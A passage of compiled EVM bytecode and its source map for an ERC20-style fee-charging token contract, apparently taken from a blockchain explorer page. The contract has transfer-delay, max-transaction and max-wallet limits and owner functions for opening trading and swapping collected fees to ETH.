f305d719473061083f816001600160a01b03165f9081526001602052604090205490565b5f806108525f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108b8573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108dd9190611848565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610932573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109569190611873565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146109995760405162461bcd60e51b815260040161047a906117f8565b6109a247610d8a565b565b6001600160a01b038316610a065760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047a565b6001600160a01b038216610a675760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047a565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b2c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047a565b6001600160a01b038216610b8e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047a565b5f8111610bef5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047a565b601454600160b01b900460ff161580610c115750601454600160a81b900460ff165b15610cb9576001600160a01b0383165f90815260016020526040902054610c389082610dc9565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c669082610e11565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610abb9085815260200190565b5f610cc5848484610e6f565b9050610cf2610cd48383610dc9565b6001600160a01b0385165f9081526001602052604090205490610e11565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d3b8585610dc9565b60405190815260200160405180910390a350505050565b5f8184841115610d755760405162461bcd60e51b815260040161047a91906115c2565b505f610d818486611892565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610dc5573d5f803e3d5ffd5b5050565b5f610e0a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d52565b9392505050565b5f80610e1d83856118a5565b905083811015610e0a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047a565b5f80610e825f546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610eb057505f546001600160a01b03858116911614155b1561122857610ee16064610edb600b54600e5411610ed057600754610ed4565b6009545b869061127f565b906112fd565b60065490915060ff1615610fc7576013546001600160a01b03858116911614801590610f1b57506014546001600160a01b03858116911614155b15610fc757325f908152600560205260409020544311610fb55760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161047a565b325f9081526005602052604090204390555b6014546001600160a01b038681169116148015610ff257506013546001600160a01b03858116911614155b801561101657506001600160a01b0384165f9081526003602052604090205460ff16155b156110fc57600f5483111561106d5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161047a565b6010548361108f866001600160a01b03165f9081526001602052604090205490565b61109991906118a5565b11156110e75760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047a565b600e8054905f6110f6836118b8565b91905055505b6014546001600160a01b03858116911614801561112257506001600160a01b0385163014155b1561114f5761114c6064610edb600c54600e541161114257600854610ed4565b600a54869061127f565b90505b305f90815260016020526040902054601454600160a81b900460ff1615801561118557506014546001600160a01b038681169116145b801561119a5750601454600160b01b900460ff165b80156111a95750600d54600e54115b80156111cd57506001600160a01b0386165f9081526003602052604090205460ff16155b80156111f157506001600160a01b0385165f9081526003602052604090205460ff16155b156112265760115481111561121d5761121d611218856112138460125461133e565b61133e565b611352565b61122647610d8a565b505b6001600160a01b03841630148061125757506001600160a01b0385165f9081526003602052604090205460ff16155b8061126957506001600160a01b038516155b6112735780610d81565b610d81858585846114c2565b5f825f0361128e57505f6103c4565b5f61129983856117e1565b9050826112a685836118d0565b14610e0a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047a565b5f610e0a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611596565b5f81831161134c5782610e0a565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611398576113986118ef565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113ef573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611413919061182d565b81600181518110611426576114266118ef565b6001600160a01b03928316602091820292909201015260135461144c91309116846109a4565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114849085905f90869030904290600401611903565b5f604051808303815f87803b15801561149b575f80fd5b505af11580156114ad573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f6001600160a01b03841630148015906114db57505f82115b1561155257305f908152600160205260409020546114f99083610e11565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115499086815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546115749084610dc9565b6001600160a01b0386165f908152600160205260409020555080949350505050565b5f81836115b65760405162461bcd60e51b815260040161047a91906115c2565b505f610d8184866118d0565b5f602080835283518060208501525f5b818110156115ee578581018301518582016040015282016115d2565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611622575f80fd5b50565b5f8060408385031215611636575f80fd5b82356116418161160e565b946020939093013593505050565b5f805f60608486031215611661575f80fd5b833561166c8161160e565b9250602084013561167c8161160e565b929592945050506040919091013590565b5f6020828403121561169d575f80fd5b8135610e0a8161160e565b5f80604083850312156116b9575f80fd5b82356116c48161160e565b915060208301356116d48161160e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561172d57815f1904821115611713576117136116df565b8085161561172057918102915b93841c93908002906116f8565b509250929050565b5f82611743575060016103c4565b8161174f57505f6103c4565b8160018114611765576002811461176f5761178b565b60019150506103c4565b60ff841115611780576117806116df565b50506001821b6103c4565b5060208310610133831016604e8410600b84101617156117ae575081810a6103c4565b6117b883836116f3565b805f19048211156117cb576117cb6116df565b029392505050565b5f610e0a60ff841683611735565b80820281158282048414176103c4576103c46116df565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561183d575f80fd5b8151610e0a8161160e565b5f805f6060848603121561185a575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611883575f80fd5b81518015158114610e0a575f80fd5b818103818111156103c4576103c46116df565b808201808211156103c4576103c46116df565b5f600182016118c9576118c96116df565b5060010190565b5f826118ea57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119535784516001600160a01b03168352938301939183019160010161192e565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220681af0646e234be2df37b06aaf684b3ea922806adcc4f1563f4109880d2beaec64736f6c63430008180033
Deployed Bytecode Sourcemap
3843:9616:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6223:83;;;;;;;;;;-1:-1:-1;6293:5:0;;;;;;;;;;;;-1:-1:-1;;;6293:5:0;;;;6223:83;;;;;;;:::i;:::-;;;;;;;;7106:186;;;;;;;;;;-1:-1:-1;7106:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7106:186:0;1023:187:1;5066:55:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5066:55:0;1215:177:1;6500:95:0;;;;;;;;;;;;;:::i;7300:446::-;;;;;;;;;;-1:-1:-1;7300:446:0;;;;;:::i;:::-;;:::i;6409:83::-;;;;;;;;;;-1:-1:-1;6409:83:0;;4685:1;2000:36:1;;1988:2;1973:18;6409:83:0;1858:184:1;6603:119:0;;;;;;;;;;-1:-1:-1;6603:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6696:18:0;6669:7;6696:18;;;:9;:18;;;;;;;6603:119;1814:148;;;;;;;;;;;;;:::i;:::-;;11917:201;;;;;;;;;;;;;:::i;4875:56::-;;;;;;;;;;;;;;;;1600:79;;;;;;;;;;-1:-1:-1;1638:7:0;1665:6;1600:79;;-1:-1:-1;;;;;1665:6:0;;;2445:51:1;;2433:2;2418:18;1600:79:0;2299:203:1;4938:58:0;;;;;;;;;;;;;;;;6314:87;;;;;;;;;;-1:-1:-1;6386:7:0;;;;;;;;;;;;-1:-1:-1;;;6386:7:0;;;;6314:87;;6730:192;;;;;;;;;;-1:-1:-1;6730:192:0;;;;;:::i;:::-;;:::i;5825:390::-;;;;;;;;;;;;;:::i;5003:56::-;;;;;;;;;;;;;;;;4225:40;;;;;;;;;;-1:-1:-1;4225:40:0;;;;;;;;12480:485;;;;;;;;;;;;;:::i;12226:94::-;;;;;;;;;;;;;:::i;6930:168::-;;;;;;;;;;-1:-1:-1;6930:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7063:18:0;;;7036:7;7063:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6930:168;7106:186;7206:4;7223:39;287:10;7246:7;7255:6;7223:8;:39::i;:::-;-1:-1:-1;7280:4:0;7106:186;;;;;:::o;6500:95::-;6553:7;4741:15;4685:1;4741:2;:15;:::i;:::-;4728:28;;:10;:28;:::i;:::-;6573:14;;6500:95;:::o;7300:446::-;7432:4;7449:36;7459:6;7467:9;7478:6;7449:9;:36::i;:::-;7496:220;7519:6;287:10;7567:138;7623:6;7567:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7567:19:0;;;;;;:11;:19;;;;;;;;287:10;7567:33;;;;;;;;;;:37;:138::i;:::-;7496:8;:220::i;:::-;-1:-1:-1;7734:4:0;7300:446;;;;;:::o;1814:148::-;1727:6;;-1:-1:-1;;;;;1727:6:0;287:10;1727:22;1719:67;;;;-1:-1:-1;;;1719:67:0;;;;;;;:::i;:::-;;;;;;;;;1921:1:::1;1905:6:::0;;1884:40:::1;::::0;-1:-1:-1;;;;;1905:6:0;;::::1;::::0;1884:40:::1;::::0;1921:1;;1884:40:::1;1952:1;1935:19:::0;;-1:-1:-1;;;;;;1935:19:0::1;::::0;;1814:148::o;11917:201::-;1727:6;;-1:-1:-1;;;;;1727:6:0;287:10;1727:22;1719:67;;;;-1:-1:-1;;;1719:67:0;;;;;;;:::i;:::-;4741:15:::1;4685:1;4741:2;:15;:::i;:::-;4728:28;::::0;:10:::1;:28;:::i;:::-;11971:12;:22:::0;4741:15:::1;4685:1;4741:2;:15;:::i;:::-;4728:28;::::0;:10:::1;:28;:::i;:::-;12004:14;:24:::0;12039:20:::1;:28:::0;;-1:-1:-1;;12039:28:0::1;::::0;;12083:27:::1;4741:15;4685:1;-1:-1:-1::0;4741:15:0::1;:::i;:::-;4728:28;::::0;:10:::1;:28;:::i;:::-;12083:27;::::0;1361:25:1;;;1349:2;1334:18;12083:27:0::1;;;;;;;11917:201::o:0;6730:192::-;6833:4;6850:42;287:10;6874:9;6885:6;6850:9;:42::i;5825:390::-;1727:6;;-1:-1:-1;;;;;1727:6:0;287:10;1727:22;1719:67;;;;-1:-1:-1;;;1719:67:0;;;;;;;:::i;:::-;5876:15:::1;:104:::0;;-1:-1:-1;;;;;;5876:104:0::1;5927:42;5876:104:::0;;::::1;::::0;;;5991:58:::1;::::0;6008:4:::1;::::0;4741:15:::1;4685:1;4741:2;:15;:::i;:::-;4728:28;::::0;:10:::1;:28;:::i;5991:58::-;6094:15;;;;;;;;;-1:-1:-1::0;;;;;6094:15:0::1;-1:-1:-1::0;;;;;6094:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6076:55:0::1;;6154:4;6174:15;;;;;;;;;-1:-1:-1::0;;;;;6174:15:0::1;-1:-1:-1::0;;;;;6174:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6076:131;::::0;-1:-1:-1;;;;;;6076:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5429:15:1;;;6076:131:0::1;::::0;::::1;5411:34:1::0;5481:15;;5461:18;;;5454:43;5346:18;;6076:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6060:13;:147:::0;;-1:-1:-1;;;;;;6060:147:0::1;-1:-1:-1::0;;;;;6060:147:0;;;::::1;::::0;;;::::1;::::0;;5825:390::o;12480:485::-;1727:6;;-1:-1:-1;;;;;1727:6:0;287:10;1727:22;1719:67;;;;-1:-1:-1;;;1719:67:0;;;;;;;:::i;:::-;12542:11:::1;::::0;-1:-1:-1;;;12542:11:0;::::1;;;12541:12;12533:48;;;::::0;-1:-1:-1;;;12533:48:0;;5710:2:1;12533:48:0::1;::::0;::::1;5692:21:1::0;5749:2;5729:18;;;5722:30;5788:25;5768:18;;;5761:53;5831:18;;12533:48:0::1;5508:347:1::0;12533:48:0::1;12594:15;::::0;-1:-1:-1;;;;;12594:15:0::1;:31;12633:21;12678:4;12698:24;12678:4:::0;-1:-1:-1;;;;;6696:18:0;6669:7;6696:18;;;:9;:18;;;;;;;6603:119;12698:24:::1;12737:1;12753::::0;12769:7:::1;1638::::0;1665:6;-1:-1:-1;;;;;1665:6:0;;1600:79;12769:7:::1;12594:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12594:223:0;;;-1:-1:-1;;;;;6219:15:1;;;12594:223:0::1;::::0;::::1;6201:34:1::0;6251:18;;;6244:34;;;;6294:18;;;6287:34;;;;6337:18;;;6330:34;6401:15;;;6380:19;;;6373:44;12791:15:0::1;6433:19:1::0;;;6426:35;6135:19;;12594:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12835:13:0::1;::::0;12866:15:::1;::::0;12828:71:::1;::::0;-1:-1:-1;;;12828:71:0;;-1:-1:-1;;;;;12866:15:0;;::::1;12828:71;::::0;::::1;6957:51:1::0;-1:-1:-1;;7024:18:1;;;7017:34;12835:13:0;::::1;::::0;-1:-1:-1;12828:29:0::1;::::0;6930:18:1;;12828:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12910:11:0::1;:18:::0;;-1:-1:-1;;;;12939:18:0;-1:-1:-1;;;12939:18:0;;;12480:485::o;12226:94::-;1727:6;;-1:-1:-1;;;;;1727:6:0;287:10;1727:22;1719:67;;;;-1:-1:-1;;;1719:67:0;;;;;;;:::i;:::-;12277:35:::1;12290:21;12277:12;:35::i;:::-;12226:94::o:0;7754:335::-;-1:-1:-1;;;;;7847:19:0;;7839:68;;;;-1:-1:-1;;;7839:68:0;;7546:2:1;7839:68:0;;;7528:21:1;7585:2;7565:18;;;7558:30;7624:34;7604:18;;;7597:62;-1:-1:-1;;;7675:18:1;;;7668:34;7719:19;;7839:68:0;7344:400:1;7839:68:0;-1:-1:-1;;;;;7926:21:0;;7918:68;;;;-1:-1:-1;;;7918:68:0;;7951:2:1;7918:68:0;;;7933:21:1;7990:2;7970:18;;;7963:30;8029:34;8009:18;;;8002:62;-1:-1:-1;;;8080:18:1;;;8073:32;8122:19;;7918:68:0;7749:398:1;7918:68:0;-1:-1:-1;;;;;7997:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8049:32;;1361:25:1;;;8049:32:0;;1334:18:1;8049:32:0;;;;;;;;7754:335;;;:::o;11178:731::-;-1:-1:-1;;;;;11266:18:0;;11258:68;;;;-1:-1:-1;;;11258:68:0;;8354:2:1;11258:68:0;;;8336:21:1;8393:2;8373:18;;;8366:30;8432:34;8412:18;;;8405:62;-1:-1:-1;;;8483:18:1;;;8476:35;8528:19;;11258:68:0;8152:401:1;11258:68:0;-1:-1:-1;;;;;11345:16:0;;11337:64;;;;-1:-1:-1;;;11337:64:0;;8760:2:1;11337:64:0;;;8742:21:1;8799:2;8779:18;;;8772:30;8838:34;8818:18;;;8811:62;-1:-1:-1;;;8889:18:1;;;8882:33;8932:19;;11337:64:0;8558:399:1;11337:64:0;11429:1;11420:6;:10;11412:64;;;;-1:-1:-1;;;11412:64:0;;9164:2:1;11412:64:0;;;9146:21:1;9203:2;9183:18;;;9176:30;9242:34;9222:18;;;9215:62;-1:-1:-1;;;9293:18:1;;;9286:39;9342:19;;11412:64:0;8962:405:1;11412:64:0;11492:11;;-1:-1:-1;;;11492:11:0;;;;11491:12;;:22;;-1:-1:-1;11507:6:0;;-1:-1:-1;;;11507:6:0;;;;11491:22;11487:223;;;-1:-1:-1;;;;;11548:15:0;;;;;;:9;:15;;;;;;:27;;11568:6;11548:19;:27::i;:::-;-1:-1:-1;;;;;11530:15:0;;;;;;;:9;:15;;;;;;:45;;;;11606:13;;;;;;;:25;;11624:6;11606:17;:25::i;:::-;-1:-1:-1;;;;;11590:13:0;;;;;;;:9;:13;;;;;;;:41;;;;11651:26;;;;;;;;;;11670:6;1361:25:1;;1349:2;1334:18;;1215:177;11487:223:0;11730:16;11749:30;11762:4;11768:2;11772:6;11749:12;:30::i;:::-;11730:49;-1:-1:-1;11806:39:0;11824:20;:6;11730:49;11824:10;:20::i;:::-;-1:-1:-1;;;;;11806:13:0;;;;;;:9;:13;;;;;;;:17;:39::i;:::-;-1:-1:-1;;;;;11790:13:0;;;;;;;:9;:13;;;;;:55;;;;11861:40;;;11880:20;:6;11891:8;11880:10;:20::i;:::-;11861:40;;1361:25:1;;;1349:2;1334:18;11861:40:0;;;;;;;11247:662;11178:731;;;:::o;2987:224::-;3107:7;3143:12;3135:6;;;;3127:29;;;;-1:-1:-1;;;3127:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3167:9:0;3179:5;3183:1;3179;:5;:::i;:::-;3167:17;2987:224;-1:-1:-1;;;;;2987:224:0:o;12126:92::-;12183:10;;:27;;:10;;;;-1:-1:-1;;;;;12183:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;;;12126:92;:::o;2843:136::-;2901:7;2928:43;2932:1;2935;2928:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2921:50;2843:136;-1:-1:-1;;;2843:136:0:o;2656:179::-;2714:7;;2746:5;2750:1;2746;:5;:::i;:::-;2734:17;;2775:1;2770;:6;;2762:46;;;;-1:-1:-1;;;2762:46:0;;9837:2:1;2762:46:0;;;9819:21:1;9876:2;9856:18;;;9849:30;9915:29;9895:18;;;9888:57;9962:18;;2762:46:0;9635:351:1;8576:2594:0;8656:7;;8720;1638;1665:6;-1:-1:-1;;;;;1665:6:0;;1600:79;8720:7;-1:-1:-1;;;;;8712:15:0;:4;-1:-1:-1;;;;;8712:15:0;;;:32;;;;-1:-1:-1;1638:7:0;1665:6;-1:-1:-1;;;;;8731:13:0;;;1665:6;;8731:13;;8712:32;8708:2263;;;8772:208;8976:3;8772:181;8836:15;;8824:9;;:27;8823:111;;8920:14;;8823:111;;;8880:12;;8823:111;8772:6;;:28;:181::i;:::-;:203;;:208::i;:::-;9001:20;;8761:219;;-1:-1:-1;9001:20:0;;8997:522;;;9082:15;;-1:-1:-1;;;;;9068:30:0;;;9082:15;;9068:30;;;;:83;;-1:-1:-1;9137:13:0;;-1:-1:-1;;;;;9123:28:0;;;9137:13;;9123:28;;9068:83;9042:462;;;9257:9;9228:39;;;;:28;:39;;;;;;9270:12;-1:-1:-1;9194:213:0;;;;-1:-1:-1;;;9194:213:0;;10193:2:1;9194:213:0;;;10175:21:1;10232:2;10212:18;;;10205:30;10271:34;10251:18;;;10244:62;10342:34;10322:18;;;10315:62;-1:-1:-1;;;10393:19:1;;;10386:40;10443:19;;9194:213:0;9991:477:1;9194:213:0;9459:9;9430:39;;;;:28;:39;;;;;9472:12;9430:54;;9042:462;9565:13;;-1:-1:-1;;;;;9557:21:0;;;9565:13;;9557:21;:72;;;;-1:-1:-1;9613:15:0;;-1:-1:-1;;;;;9599:30:0;;;9613:15;;9599:30;;9557:72;:116;;;;-1:-1:-1;;;;;;9651:22:0;;;;;;:18;:22;;;;;;;;9650:23;9557:116;9535:438;;;9726:12;;9716:6;:22;;9708:60;;;;-1:-1:-1;;;9708:60:0;;10675:2:1;9708:60:0;;;10657:21:1;10714:2;10694:18;;;10687:30;10753:27;10733:18;;;10726:55;10798:18;;9708:60:0;10473:349:1;9708:60:0;9843:14;;9833:6;9817:13;9827:2;-1:-1:-1;;;;;6696:18:0;6669:7;6696:18;;;:9;:18;;;;;;;6603:119;9817:13;:22;;;;:::i;:::-;:40;;9787:140;;;;-1:-1:-1;;;9787:140:0;;11029:2:1;9787:140:0;;;11011:21:1;11068:2;11048:18;;;11041:30;11107:28;11087:18;;;11080:56;11153:18;;9787:140:0;10827:350:1;9787:140:0;9946:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9535:438;9999:13;;-1:-1:-1;;;;;9993:19:0;;;9999:13;;9993:19;:44;;;;-1:-1:-1;;;;;;10016:21:0;;10032:4;10016:21;;9993:44;9989:331;;;10069:235;10300:3;10069:204;10141:16;;10129:9;;:28;10128:122;;10235:15;;10128:122;;;10190:13;;10069:6;;:32;:204::i;:235::-;10058:246;;9989:331;10385:4;10336:28;6696:18;;;:9;:18;;;;;;10429:6;;-1:-1:-1;;;10429:6:0;;;;10428:7;:47;;;;-1:-1:-1;10462:13:0;;-1:-1:-1;;;;;10456:19:0;;;10462:13;;10456:19;10428:47;:79;;;;-1:-1:-1;10496:11:0;;-1:-1:-1;;;10496:11:0;;;;10428:79;:130;;;;;10540:18;;10528:9;;:30;10428:130;:176;;;;-1:-1:-1;;;;;;10580:24:0;;;;;;:18;:24;;;;;;;;10579:25;10428:176;:220;;;;-1:-1:-1;;;;;;10626:22:0;;;;;;:18;:22;;;;;;;;10625:23;10428:220;10406:553;;;10709:17;;10686:20;:40;10683:205;;;10751:117;10794:51;10798:6;10806:38;10810:20;10832:11;;10806:3;:38::i;:::-;10794:3;:51::i;:::-;10751:16;:117::i;:::-;10908:35;10921:21;10908:12;:35::i;:::-;8746:2225;8708:2263;-1:-1:-1;;;;;10988:17:0;;11000:4;10988:17;;:60;;-1:-1:-1;;;;;;11024:24:0;;;;;;:18;:24;;;;;;;;11023:25;10988:60;:94;;;-1:-1:-1;;;;;;11066:16:0;;;10988:94;:174;;11154:8;10988:174;;;11098:39;11110:4;11116:2;11120:6;11128:8;11098:11;:39::i;3219:246::-;3277:7;3301:1;3306;3301:6;3297:47;;-1:-1:-1;3331:1:0;3324:8;;3297:47;3354:9;3366:5;3370:1;3366;:5;:::i;:::-;3354:17;-1:-1:-1;3399:1:0;3390:5;3394:1;3354:17;3390:5;:::i;:::-;:10;3382:56;;;;-1:-1:-1;;;3382:56:0;;11746:2:1;3382:56:0;;;11728:21:1;11785:2;11765:18;;;11758:30;11824:34;11804:18;;;11797:62;-1:-1:-1;;;11875:18:1;;;11868:31;11916:19;;3382:56:0;11544:397:1;3473:132:0;3531:7;3558:39;3562:1;3565;3558:39;;;;;;;;;;;;;;;;;:3;:39::i;12328:107::-;12385:7;12417:1;12413;:5;12412:15;;12426:1;12412:15;;;-1:-1:-1;12422:1:0;12328:107;-1:-1:-1;12328:107:0:o;12973:483::-;5405:6;:13;;-1:-1:-1;;;;5405:13:0;-1:-1:-1;;;5405:13:0;;;13075:16:::1;::::0;;13089:1:::1;13075:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13075:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13075:16:0::1;13051:40;;13120:4;13102;13107:1;13102:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13102:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13146:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;13146:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;13102:7;;13146:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13136:4;13141:1;13136:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13136:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13211:15:::1;::::0;13179:62:::1;::::0;13196:4:::1;::::0;13211:15:::1;13229:11:::0;13179:8:::1;:62::i;:::-;13252:15;::::0;:196:::1;::::0;-1:-1:-1;;;13252:196:0;;-1:-1:-1;;;;;13252:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;13333:11;;13252:15:::1;::::0;13375:4;;13402::::1;::::0;13422:15:::1;::::0;13252:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5441:6:0;:14;;-1:-1:-1;;;;5441:14:0;;;-1:-1:-1;;;;12973:483:0:o;8097:471::-;8238:7;-1:-1:-1;;;;;8262:19:0;;8276:4;8262:19;;;;:35;;;8296:1;8285:8;:12;8262:35;8258:224;;;8359:4;8341:24;;;;:9;:24;;;;;;:70;;8388:8;8341:28;:70::i;:::-;8332:4;8314:24;;;;:9;:24;;;;;;;:97;;;;8431:39;;-1:-1:-1;;;;;8431:39:0;;;;;;;8461:8;1361:25:1;;1349:2;1334:18;;1215:177;8431:39:0;;;;;;;;8258:224;-1:-1:-1;;;;;8516:15:0;;;;;;:9;:15;;;;;;:27;;8536:6;8516:19;:27::i;:::-;-1:-1:-1;;;;;8498:15:0;;;;;;:9;:15;;;;;:45;-1:-1:-1;8552:8:0;8097:471;;;;;;:::o;3613:223::-;3733:7;3768:12;3761:5;3753:28;;;;-1:-1:-1;;;3753:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3792:9:0;3804:5;3808:1;3804;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:270;3193:7;3183:8;3180:21;3172:270;;;3252:4;3248:1;3244:6;3240:17;3234:4;3231:27;3228:53;;;3261:18;;:::i;:::-;3311:7;3301:8;3297:22;3294:55;;;3331:16;;;;3294:55;3410:22;;;;3370:15;;;;3172:270;;;3176:3;3032:416;;;;;:::o;3453:806::-;3502:5;3532:8;3522:80;;-1:-1:-1;3573:1:1;3587:5;;3522:80;3621:4;3611:76;;-1:-1:-1;3658:1:1;3672:5;;3611:76;3703:4;3721:1;3716:59;;;;3789:1;